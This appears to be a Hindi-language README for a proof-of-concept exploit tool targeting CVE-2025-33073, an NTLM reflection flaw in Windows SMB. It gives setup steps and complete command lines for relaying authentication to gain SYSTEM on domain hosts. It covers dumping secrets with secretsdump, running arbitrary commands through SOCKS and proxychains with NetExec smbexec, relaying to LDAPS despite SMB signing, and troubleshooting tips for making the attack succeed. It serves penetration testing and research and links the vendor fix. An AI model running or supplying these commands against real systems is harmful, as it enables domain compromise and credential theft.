CVE-2025-33073

NTLM रिफ्लेक्शन SMB दोष के लिए PoC एक्सप्लॉइट।

सभी श्रेय आधिकारिक शोध को जाता है:
https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025

पूर्वापेक्षाएँ

OS: Kali Linux (अधिकांश पैकेज पूर्व-स्थापित हैं)।

• NetExec (NXC) - https://github.com/Pennyw0rth/NetExec
• impacket-ntlmrelayx
• dnstool.py (रिपॉजिटरी में शामिल)

सेटअप

यह उपकरण स्वचालित रूप से एक वर्चुअल वातावरण का उपयोग करेगा। इसे सेट करने के लिए, चलाएँ:

./setup.sh

यह एक वर्चुअल वातावरण बनाएगा और ldap3-bleeding-edge==2.10.1.1337 सहित सभी आवश्यक निर्भरताओं को स्थापित करेगा।

उदाहरण उपयोग

python3 CVE-2025-33073.py -u 'wintastic.local\mathijs' -p 'password' --attacker-ip 192.168.178.49 --dns-ip 192.168.178.138 --dc-fqdn DC01.wintastic.local --target CLIENT01.wintastic.local --target-ip 192.168.178.65

कस्टम कमांड
secretsdump चलाने के बजाय एक कस्टम कमांड निष्पादित किया जा सकता है।

python3 CVE-2025-33073.py -u 'wintastic.local\mathijs' -p 'password' --attacker-ip 192.168.178.49 --dns-ip 192.168.178.138 --dc-fqdn DC01.wintastic.local --target CLIENT01.wintastic.local --target-ip 192.168.178.65 --custom-command "whoami"

SOCKS
SYSTEM के रूप में वैध कनेक्शन होने के बाद कमांड के अधिक गुप्त निष्पादन के लिए। यहाँ --target और --target-ip समान होने चाहिए।

python3 CVE-2025-33073.py -u 'wintastic.local\mathijs' -p 'password' --attacker-ip 192.168.178.49 --dns-ip 192.168.178.138 --dc-fqdn DC01.wintastic.local --target 192.168.178.65 --target-ip 192.168.178.65 --socks

SAM को डंप करने के बजाय proxychains के माध्यम से एक कस्टम कमांड भी चलाया जा सकता है।

proxychains nxc smb 192.168.178.65 -d '' -u '' -p '' -x 'whoami' --exec-method smbexec

SMB साइनिंग सक्षम होने पर भी LDAPS पर रिले का शोषण

यह देखने के लिए शोध किया गया कि क्या SMB साइनिंग सक्षम होने पर रिफ्लेक्शन वास्तव में काम नहीं करता है, जिसके परिणामस्वरूप ऐसी बग्स मिलीं जहाँ यदि पैकेट से SIGN/SEAL हटा दिए जाएं तो SMB से LDAPS पर रिले करना संभव है, जो सामान्यतः MIC के कारण संभव नहीं है।

धन्यवाद:

• https://github.com/decoder-it/impacket-partial-mic/
• https://decoder.cloud/2025/11/24/reflecting-your-authentication-when-windows-ends-up-talking-to-itself/
• https://www.depthsecurity.com/blog/using-ntlm-reflection-to-own-active-directory/

python3 CVE-2025-33073.py -u "thewoods.local\test" -p 'pass' -d 192.168.204.131 --dns-ip 192.168.204.133 --dc-fqdn DC01.thewoods.local --target 192.168.204.133 --target-ip 192.168.204.133 -M DFSCoerce --smb-signing

DNS आवश्यकता के बिना मैन्युअल शोषण

यदि आप डिवाइस के समान ब्रॉडकास्ट डोमेन में हैं और यह LLMNR पॉइज़निंग के लिए संवेदनशील है, तो DNS रिकॉर्ड पंजीकृत किए बिना डिवाइस का शोषण करना संभव है।

समस्या निवारण

• मैंने कभी-कभी हमले को काम नहीं करते देखा है क्योंकि हमले के लिए होस्टनाम का उपयोग किया जाता है जिसके परिणामस्वरूप Kali से DNS लुकअप होता है। यदि Kali DNS सर्वर का उपयोग नहीं कर रहा है या आपको impacket-ntlmrelayx से '/ FAILED' संदेश मिलता है, तो होस्ट को अपनी /etc/hosts फ़ाइल में जोड़ने का प्रयास करें। इससे हमला काम करना चाहिए।
• IP का उपयोग करने पर हमला काम करना चाहिए। कभी-कभी इसे कई बार चलाने पर विफलता के बजाय SUCCESS मिलता है। अब तक यह पूरी तरह से स्पष्ट नहीं है कि ऐसा क्यों होता है। मुझे लगता है इसका नेटवर्किंग से कुछ लेना-देना है।
• -M या --method का उपयोग करके कोई अन्य कोअर्स विधि आज़माएं।

Wireshark

स्थानीय NTLM प्रमाणीकरण होता है

स्थानीय NTLM प्रमाणीकरण नहीं होता है जिसके परिणामस्वरूप विफल प्रयास होता है

जानना अच्छा है

• DNS-रिकॉर्ड क्लाइंट को भी ज्ञात होना चाहिए, इसमें कुछ अवसरों पर अधिक समय लग सकता है। अधिक समय से मेरा मतलब है इसे कुछ मिनट दें।
• यह केवल एक PoC है जिसका अर्थ है कि AV/EDR बाईपास को बाईपास करने का प्रयास नहीं किया गया है। अपने जोखिम पर उपयोग करें।
  

कैसे ठीक करें

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-33073